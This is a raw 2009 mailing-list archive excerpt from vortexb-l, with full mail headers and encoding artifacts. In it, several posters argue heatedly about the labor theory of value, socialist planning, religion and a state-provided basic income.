On Mon, May 25,= 2009 at 12:56 AM, Harry Veeder <hveeder@ncf.ca> wrote:

----- Original Message -----

From: Charles HOPE <lookslikeiwasright@gmail.com>

Date: Saturday, May 23, 2009 1:44 pm

Subject: Re: [VoB]:China vs. US

> Yes. Subjective utility is the primary = kind of value, and then
> there is a
> market price which is = the aggregate of many subjective utilities.
> The time
> requ= ired to create a product is irrelevant, is based on unreasonable
> assumptions, and what's more, with great irony, there's no way= to
> extract a
> surplus from it. Feel free to show me= how I'm wrong.

wage-labour should be an option for living rather than a=A0necessity for= living =A0precisely because the time to create

a product is irrelevant to its value.

Harry=A0




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5b84d51be20046ab578f0-- From vortexb-l-request@eskimo.com Sun May 24 22:03:15 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4P53C7r019542; Sun, 24 May 2009 22:03:12 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4P538ju019512; Sun, 24 May 2009 22:03:08 -0700 Resent-Date: Sun, 24 May 2009 22:03:08 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=FVvBf2ftmeEsGPuUijvYAWTdvcsFMPjO286v1e/2WP0=; b=HJH8QO8zr9r2teRgM0ubo5wd1Tlxi3i3cv7PRFAEuCJVjSjZ1I1ZMkreehl6jCwpKS cq0k/+1K7ETEXX8l8kxX0+8aSWbnkzEsf4Xa6mCrazJ9WX+5UtkfJr1eyxsigA94LzZ6 4WMdjkt9daRUToLI2pZHMH3Ss5eYzJQVV8tQI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=iZ3kK7FguF/JvhhGLzBOD5JRLjNDfGA83zKdAcnl3fx4fDtAATILsPFGqUbAev7+xj PJYfSJfVHX8A6KBn3J9x1Gkr+894XtBn9dB1p5GBh1SEWSuwG0c8DytpTGnesYXKi7An pamEnAcVjumgfp6Qh1X2BPb4Fzku+Im7g4IqE= MIME-Version: 1.0 In-Reply-To: <20090525010055.GA15548@shell.resist.ca> References: <20090525010055.GA15548@shell.resist.ca> From: Charles HOPE Date: Mon, 25 May 2009 01:02:47 -0400 Message-ID: <63ffa6020905242202v3fe3c4cw2ea40f369d9f6b2@mail.gmail.com> Subject: Re: [VoB]:Labor Theory of Value: Now on YouTube!! To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5a723a067d6046ab5862e Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4156 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 398 --001636c5a723a067d6046ab5862e Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Nice. Thanks. I've gotten through some, and I like it. I have some issues, though. I will raise them one a time. Workers are still compelled to work? Suppose workers had the alternate choice of living on a plot of land able to grow only enough food to feed themselves. How many would choose that over their current circumstances? Anyone that would choose their current life can't be said to be motivated purely by survival. They want more. They seek plasma screens and a better life for their children. On Sun, May 24, 2009 at 9:00 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > Hey, guess what: I can Google TOO! > And look what I found re the Labor Theory of Value... > > The Labor Theory of Value 1 of 2: > > The Labor Theory of Value 2 of 2: > > > > Marginalized utensils: please take note of references to yourselves. > > > - -- grok. > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoZ7ccACgkQXo3EtEYbt3GkTACgrwhE3/LtFeyo29cHdRJ5M8Tm > N4kAoN7f0nY/n6Tq414D4JSFYOogVATI > =3DhrFa > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5a723a067d6046ab5862e Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Nice. Thanks. I've gotten through some, and I like it. I have some issu= es, though. I will raise them one a time.

Workers are still compelle= d to work? Suppose workers had the alternate choice of living on a plot of = land able to grow only enough food to feed themselves.=A0 How many would ch= oose that over their current circumstances? Anyone that would choose their = current life can't be said to be motivated purely by survival. They wan= t more. They seek plasma screens and a better life for their children.




On Sun, May 24, 2009 at 9:00 PM,= grok <grok@resist.c= a> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Hey, guess what: I can Google TOO!
And look what I found re the Labor Theory of Value...

=A0 The Labor Theory of Value 1 of 2:
=A0 <http://www.youtube.com/watch?v=3D8aVmKaK1_gQ>
=A0 The Labor Theory of Value 2 of 2:
=A0 <http://www.youtube.com/watch?v=3D1Zj11xNgapM>


Marginalized utensils: please take note of references to yourselves.


- -- grok.







- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkoZ7ccACgkQXo3EtEYbt3GkTACgrwhE3/LtFeyo29cHdRJ5M8Tm
N4kAoN7f0nY/n6Tq414D4JSFYOogVATI
=3DhrFa
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5a723a067d6046ab5862e-- From vortexb-l-request@eskimo.com Sun May 24 23:17:26 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4P6HORm010255; Sun, 24 May 2009 23:17:24 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4P6HGau010231; Sun, 24 May 2009 23:17:16 -0700 Resent-Date: Sun, 24 May 2009 23:17:16 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 24 May 2009 23:17:06 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Labor Theory of Value: Now on YouTube!! Message-ID: <20090525061706.GA7943@shell.resist.ca> Reply-To: grok@resist.ca References: <20090525010055.GA15548@shell.resist.ca> <63ffa6020905242202v3fe3c4cw2ea40f369d9f6b2@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905242202v3fe3c4cw2ea40f369d9f6b2@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: heavy-water, C-17 Globemaster, Eastern Azerbaijan, innoculation, Visit Board Search and Seizure User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <0n8XcD.A.xfC.sfjGKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4157 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 399 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > Nice. Thanks. I've gotten through some, and I like it. I have some issues, > though. I will raise them one a time. > > Workers are still compelled to work? Suppose workers had the alternate > choice of living on a plot of land able to grow only enough food to feed > themselves. How many would choose that over their current circumstances? This is idle petit-bourgeois speculation of the New Age -- i.e. Hippie -- kind. Fact of the matter is that most workers cannot and will never be in this situation. The days of the Frontier and the Family Farm are long gone -- and what's more: it's not in the least desirable to attempt to return to them either. We must move forward. > Anyone that would choose their current life can't be said to be motivated > purely by survival. They want more. They seek plasma screens and a better > life for their children. Not only are you talking about only a small minority of the World population -- you are talking about a minority of the U.S. population as well which actually has this - -- or a chance to get it. The lie is that capitalism will help people realize this for themselves. What some had for a while, even they will now lose. But the answer to 'prosperity for all' is a World socialist planned ekonomy. Nothing less will do the job. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoaN+IACgkQXo3EtEYbt3GbsgCgkjVuOxCRyc4+gVokCpBVj1+O L2YAnj9awig/c3Ug0n4gCniUsDAodUY5 =j75S -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun May 24 23:39:33 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4P6dRUn026897; Sun, 24 May 2009 23:39:31 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4P6dQ0v026884; Sun, 24 May 2009 23:39:26 -0700 Resent-Date: Sun, 24 May 2009 23:39:26 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=kG5RlgT4gXTTX+wAlD2iS4s3TddwlpBF84nSpnrlHrw=; b=Lk/C4RZayUstor7tL23Bt1B9jwPQOtvrZlW3YFM9ZngGk8Ho0XG7RFaYwaBJkQ3tea Cg/sQcAXXtrbwp36snk9fWKTDbcp0qf4IAm8JoIB3PQlSyfwlRLO3XphyRknsGgbcr59 2xd1fN25zD3V7IZx2pQmcwDN/cxhLvhiNzNvc= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=Iw30/TXDvs6XMWhekxitCdO/TsoOzlwVyiNs9Gr443kSjyG6V0ED0XoR5wWQV293f4 pwrQ8C6vorUuVynxqy9H+ZoP+orMCWn2YLRXN0aMvEhXAAgYcBpazU/TxAhamWoLEYQ/ JgArjjO5eNBpe8THFBBTn7ifuy5LLOZZzQ8K4= MIME-Version: 1.0 In-Reply-To: <20090525061706.GA7943@shell.resist.ca> References: <20090525010055.GA15548@shell.resist.ca> <63ffa6020905242202v3fe3c4cw2ea40f369d9f6b2@mail.gmail.com> <20090525061706.GA7943@shell.resist.ca> From: Charles HOPE Date: Mon, 25 May 2009 02:39:04 -0400 Message-ID: <63ffa6020905242339q3a326240r7231017c6d48fc94@mail.gmail.com> Subject: Re: [VoB]:Labor Theory of Value: Now on YouTube!! To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5ac7af8f47a046ab6dea2 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4158 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 400 --001636c5ac7af8f47a046ab6dea2 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Sorry, but I have to identify this response as pure evasion. On Mon, May 25, 2009 at 2:17 AM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > Nice. Thanks. I've gotten through some, and I like it. I have some > issues, > > though. I will raise them one a time. > > > > Workers are still compelled to work? Suppose workers had the alternate > > choice of living on a plot of land able to grow only enough food to fee= d > > themselves. How many would choose that over their current circumstance= s? > > This is idle petit-bourgeois speculation of the New Age -- i.e. Hippie -- > kind. Fact > of the matter is that most workers cannot and will never be in this > situation. The > days of the Frontier and the Family Farm are long gone -- and what's more= : > it's not > in the least desirable to attempt to return to them either. > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5ac7af8f47a046ab6dea2 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Sorry, but I have to identify this response as pure evasion.


On Mon, May 25, 2009 at 2:17 AM, grok <grok@resist.ca> wr= ote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> Nice. Thanks. I've gotten through some, and I like it. I have some= issues,
> though. I will raise them one a time.
>
> Workers are still compelled to work? Suppose workers had the alternate=
> choice of living on a plot of land able to grow only enough food to fe= ed
> themselves. =A0How many would choose that over their current circumsta= nces?

This is idle petit-bourgeois speculation of the New Age -- i.e. Hippi= e -- kind. Fact
of the matter is that most workers cannot and will never be in this situati= on. The
days of the Frontier and the Family Farm are long gone -- and what's mo= re: it's not
in the least desirable to attempt to return to them either.



--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5ac7af8f47a046ab6dea2-- From vortexb-l-request@eskimo.com Mon May 25 06:04:14 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4PD4CHU016148; Mon, 25 May 2009 06:04:12 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4PD4BJq016137; Mon, 25 May 2009 06:04:11 -0700 Resent-Date: Mon, 25 May 2009 06:04:11 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-POP-User: cen02900.centurytel.net Sender: jack@mail963c35.nsolutionszone.com Message-ID: <4A1A94A5.A3B3801@centurytel.net> Date: Mon, 25 May 2009 12:52:53 +0000 From: "Taylor J. Smith" X-Mailer: Mozilla 3.0C-Caldera (X11; I; Linux 2.2.5-15 i486) MIME-Version: 1.0 To: vortexb-l@eskimo.com References: <20090525010055.GA15548@shell.resist.ca> <63ffa6020905242202v3fe3c4cw2ea40f369d9f6b2@mail.gmail.com> <20090525061706.GA7943@shell.resist.ca> Content-Type: text/plain; charset=us-ascii; name="xg" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="xg" Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4159 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Labor Theory of Value: Now on YouTube!! Status: O X-Status: X-Keywords: X-UID: 401 grok wrote on 5-25-09: But the answer to 'prosperity for all' is a World socialist planned ekonomy. Nothing less will do the job. Hi All, All economies are planned; the issue is the degree to which personal freedom is restricted. At one extreme is the drug deal where each party would like to run off with both the money and the drugs. This situation is sometimes portrayed in the movies with everyone being gunned down. Obviously some small sacrifice of personal freedom to maintain an orderly market is to the advantage of all the participants. At the other extreme is the Russian stalinist economy which Gorbachev tried to reform. Here, the stupidity and corruption of the Russian keptocracy was able to override so many individual decisions that the economy was unable to produce enough goods and services, especially a surplus for military purposes, to compete with Western nations. Gorbachev was trying to save the Russian empire. At this moment, if a Sweden-type health care system existed in the US, I would not legally be able to receive treatment for chronic Lyme disease because the medical establishment would have the power to forbid it. And, as part of the US planned economy, not only would there be no medical coverage for abortions, but also all participants would be hunted down and jailed (See "The Handmaid's Tale"). Can you imagine, with this kind of central planning, what would happen in Wahabi Moslem regions? Central planning depends on central power; and as Lord Acton observed, power corrupts; and absolute power corrupts absolutely. As in "Animal Farm", the pigs will always end up looking like men. From vortexb-l-request@eskimo.com Mon May 25 07:28:06 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4PES10N007854; Mon, 25 May 2009 07:28:01 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4PERvRY007832; Mon, 25 May 2009 07:27:57 -0700 Resent-Date: Mon, 25 May 2009 07:27:57 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: lmjJwYcVM1mrskXRzo9ilhqeE5dPn.ZTiB9IjUGKOgslwG4aU.ueZIdldjyLcmNaeIhPq_Yz7iIyE9v5h2ZrErJoeOOQjgr6FIimm3NuThhqmvQFpbMxD1WY.lnK0z03tI65cKNeTDryHmdqlfndryozvnyy8Bn2Wb29S.UzlNWT2T3racR3KMjyM6EfONrp3LMdFI9xWZWr7JrswnOYG2sxmVAsT0m2j264jdSpyV9otCEy3X5ERm5X3bNRaR2XF1V0J6ftumpblhOI1x3Md_JgJdNs07lLYqScqfwDv3np5nE4iIUBdlPc3Alsqwxt5O69TPINc2xdYKZ4maVHbZDvyTy4B.zq X-Yahoo-Newman-Property: ymail-3 From: John Fields To: grok@resist.ca Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Date: Mon, 25 May 2009 09:27:54 -0500 Organization: Austin Instruments. Inc. Message-ID: References: <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4A18CDBC.6020407@usfamily.net> <2eoi1551f1pp24u6gi257he4sh4on0db03@4ax.com> <63ffa6020905240934lb2cc52va8ba1ccc9d5fc8e1@mail.gmail.com> <20090524211832.GC30161@shell.resist.ca> In-Reply-To: <20090524211832.GC30161@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4160 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 402 On Sun, 24 May 2009 14:18:33 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >Hey -- you're both hypocrites and both full of it, OK? Two phonies = looking for mutual >advantage by ganging up on a third party is all I see at work here.=20 --- Starting to feel the heat, huh? What I see is someone who can't stand to be criticized and who likes it even less when his critics communicate and agree on the odiousness of his position. In other words, you can argue 'til the sun goes down with an individual and not feel threatened since you can pretend their views are flawed, but when people start agreeing about you and talking about it amongst themselves you feel threatened because the numbers against you are mounting. --- >The U.S. is in >fact the most terroristic organization on the face of the planet, and = the true threat >to all Humanity.=20 --- Hogwash. The true threat to humanity is hateful thugs like you who can't abide opinions different from their own. --- >Discuss that. Not me. --- Since Mr. Beaty has been kind enough to provide us with a forum which is devoid of rules (well, the rule is that there are no rules) I find your attempt at telling us what we should discuss is, at the very least, disingenuous.=20 =46rom your previous demeanor, however, and at a deeper level, it becomes clearer and clearer that you _do_ ally yourself with the likes of Hitler and Stalin and would, had you the wherewithal, dispatch us as they dispatched their detractors. --- >As the smoke cleared, Charles HOPE >mounted the barricade and roared out: > >> You're right, I'm not really being sold on the pleasures of Communism,= if >> this is any taste of the new leadership. >>=20 >>=20 >>=20 >> On Sun, May 24, 2009 at 11:04 AM, John Fields = > > wrote: >>=20 >> > On Sat, 23 May 2009 23:31:57 -0500 (CDT), you wrote: >> > >> > >> > >So if you think that The Troll is discourteous now, just consider = what >> > >would happen if he had the secret police at his disposal. >> > >> > --- >> > Indeed, since even sans power he's corrupt. >> > >> > JF > >Right... Remind me to never invest in whatever it is you're selling. --- Your call; I'm selling understanding... JF =20 From vortexb-l-request@eskimo.com Mon May 25 08:36:44 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4PFag7e007711; Mon, 25 May 2009 08:36:42 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4PFac6r007698; Mon, 25 May 2009 08:36:38 -0700 Resent-Date: Mon, 25 May 2009 08:36:38 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <21858421b1df.21b1df218584@ncf.ca> Date: Mon, 25 May 2009 11:36:37 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en Subject: Re: [VoB]:Labor Theory of Value: Now on YouTube!! X-Accept-Language: en Priority: normal Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4161 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 403 That part of the answer isn't evasive. It is an honest response. harry ----- Original Message ----- From: Charles HOPE Date: Monday, May 25, 2009 2:39 am Subject: Re: [VoB]:Labor Theory of Value: Now on YouTube!! > Sorry, but I have to identify this response as pure evasion. > > > On Mon, May 25, 2009 at 2:17 AM, grok wrote: > > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > > > As the smoke cleared, Charles HOPE > > mounted the barricade and roared out: > > > > > Nice. Thanks. I've gotten through some, and I like it. I have some > > issues, > > > though. I will raise them one a time. > > > > > > Workers are still compelled to work? Suppose workers had the > alternate> > choice of living on a plot of land able to grow only > enough food to feed > > > themselves. How many would choose that over their current > circumstances?> > > > This is idle petit-bourgeois speculation of the New Age -- i.e. > Hippie -- > > kind. Fact > > of the matter is that most workers cannot and will never be in this > > situation. The > > days of the Frontier and the Family Farm are long gone -- and > what's more: > > it's not > > in the least desirable to attempt to return to them either. From vortexb-l-request@eskimo.com Mon May 25 08:42:07 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4PFg4mX004984; Mon, 25 May 2009 08:42:04 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4PFg3KV004980; Mon, 25 May 2009 08:42:03 -0700 Resent-Date: Mon, 25 May 2009 08:42:03 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: _sDVD.0VM1lk84jzi8OytBwbeIvFtyVRGBNe70V35AIJmJTOwW53iyTThK_WNbShonOg2IOYwP0P3mZ.jlM6JG.IKHOL0YSS2F8bzzGu9a4VWZBgQIBcVCIFW1JqAVXqCYhf0U7Cfl.IERgjK3VQH8CdXOMW5n5CwaRxidP_K4ZIn4RkEwd3Qz8VY8uMlSGWkIujZmsDY3VsZAKeu4zX6Bf06vHlWVx84qPpB9c_9DUYrDfUh2bC.Qnaby7HbmiRDbtWnO9DDdxzmjWfaLT2OuGEeZ5BnnElTeejJq1LiWViuE8TdfFVYY0zAuYRHHpGo.XgZx1GZC1NhNmdP2z.Lq.HRxg8tSkU X-Yahoo-Newman-Property: ymail-3 From: John Fields To: grok@resist.ca Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Date: Mon, 25 May 2009 10:41:59 -0500 Organization: Austin Instruments. Inc. Message-ID: References: <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4A18CDBC.6020407@usfamily.net> <20090524055838.GO4017@shell.resist.ca> <20090524213501.GD30161@shell.resist.ca> In-Reply-To: <20090524213501.GD30161@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4162 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 404 On Sun, 24 May 2009 14:35:02 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >As the smoke cleared, John Fields >mounted the barricade and roared out: > >> On Sat, 23 May 2009 22:58:38 -0700, you wrote: >>=20 >> >Have I told you lately how much I loathe religion and the fools who = attempt to >> >spread it..? >>=20 >> --- >> What you're talking about, surely, is religions which you feel = interfere >> with that which you proselytize, Marxism. > >People have a right to their delusions --=20 --- That belief is amply illustrated by the contents of your posts, but it's not so much a right as it is an affliction. That is, it's in the same vein as is: "People have a right to contract smallpox --" --- >and I also have the right not to have to swallow such crox of shit. --- Yes, of course you did, once, but it appears from the belief system which you espouse that it's too late, and you've swallowed it hook, line, and sinker.=20 --- >However, such people have no right to impose their delusions on others, = either --- Pricelessly, blindly self-referential! --- >-- as i.e. the U.S. Religious Right constantly attempts >to do: more recently by their attempts to control the police and = military apparatus >of State, as well as the other arms of your decadent political system. --- PKB, since that's no different from your wanting to impose your own belief system on everyone else, is it? --- >And so of course you're going to bring up stalinism again --=20 --- Geez, now you're a mind reader? --- >as if the past fact of >that proves anything about marxism per se. However slavery, for instance= OTOH, very >much DOES have everything to do with capitalism (i.e. the 'primitive = accumulation' >thereof). This is not some mirror-image, tit-for-tat situation here: the= side you >defend is VERY much more the "Evil". Not mine, conversely. --- The "side" I defend allows dissent and, in fact, thrives on it, while the side you defend crumbles under dissent and, consequently, must crush it in order to survive. Doing it my way allows you and I to discuss our differences as we're now doing, while doing it your way would result in no one being able to criticize you. =20 Of course you'd prefer your way so that you could perpetuate your delusions of grandeur without hindrance, but history has shown that all such attempts have ultimately resulted in debacles. --- =20 >> And, surely, _loathe_ is a bit strong for one who pretends to >> objectivity. > >Not at all. I've already brought up POVs here. Any objective view of = History will >demonstrate the wholly pernicious and ugly reality behind the pious = phrasings of >religious hypocrisy in the service of naked class Power.=20 --- An _objective_ view of history would disclose the relationships between cause and effect without the viewer's attachment of emotional artifacts to the vista. --- >And so one POV is VERY much >to be preferred -- *objectively* -- over another. Assuming we all want = good for all >people... We DO, don't we..?? --- If perfect objectivity is the hallmark, then no single POV can be 'preferred' because objectivity disallows preferences on the part of the beholder. Moreover, 'good' is a subjective term interpreted in widely different ways. For example, I consider a good system to be one in which we can both achieve our goals without detriment to the other, while you consider a good system to be one where everyone is under your thumb. --- >But of course: I'm flogging a dead horse here -- i.e. wasting my time = with youse. >Still -- it's a bit of an intellectual exercise with the = terminally-delusional U.S. >petit-bourgeoisie. I don't get that every day. --- =46rom what I've read, you don't get it at all... JF =20 From vortexb-l-request@eskimo.com Mon May 25 09:26:09 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4PGQ63n025658; Mon, 25 May 2009 09:26:06 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4PGQ502025651; Mon, 25 May 2009 09:26:05 -0700 Resent-Date: Mon, 25 May 2009 09:26:05 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <219c3c21d015.21d015219c3c@ncf.ca> Date: Mon, 25 May 2009 12:26:04 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en Subject: Re: [VoB]:China vs. US X-Accept-Language: en Priority: normal Content-Type: text/plain; charset=windows-1252 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4163 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 405 It shows that social expectation that an employer should provide a minimum hourly-wage is counterproductive to the capitalist system of production! The income a worker needs to reproduce him/herself should=2C honestly speaking=2C be of no concern to the capitalist=2E = It is however=2C of interest to the state=2C so the state should provide everyone with the same basic income=2C and let the employer pay extra for= the skills they require=2E The phasing in of basic income should be done gradually over several years=2E = This would give time for employers to adjust their hiring practices and business models=2E harry ----- Original Message ----- From=3A Charles HOPE 